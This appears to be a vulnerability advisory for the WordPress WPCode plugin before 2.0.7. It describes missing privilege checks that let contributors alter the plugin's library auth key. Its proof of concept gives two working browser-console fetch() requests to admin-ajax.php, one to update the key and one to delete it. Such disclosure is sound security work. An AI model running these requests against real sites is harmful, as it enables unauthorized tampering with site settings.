WordPress Plugin Vulnerabilities

WPCode < 2.0.7 - Contributor+ WPCode Library Auth Key Update/Deletion

Description

The plugin does not have adequate privilege checks in place for several AJAX actions, only checking the nonce. This may lead to allowing any authenticated user who can edit posts to call the endpoints related to WPCode Library authentication (such as update and delete the auth key).

Proof of Concept

As a contributor, edit a post and extract the nonce from the "var wpcode =" JS code, then run the below command in the developer console of the web browser

To update the auth key:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=wpcode_library_store_auth&_ajax_nonce=NONCE&key=AAAAAA&username=dummy&origin=https://library.wpcode.com',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

To delete the auth key

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=wpcode_library_delete_auth&_ajax_nonce=NONCE',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Affects Plugins

References

Classification

Type
INCORRECT AUTHORISATION
CWE
CVSS

Miscellaneous

Original Researcher
Sanjay Das
Submitter
Sanjay Das
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-02-09 (about 9 months ago)
Added
2023-02-09 (about 9 months ago)
Last Updated
2023-02-09 (about 9 months ago)

Other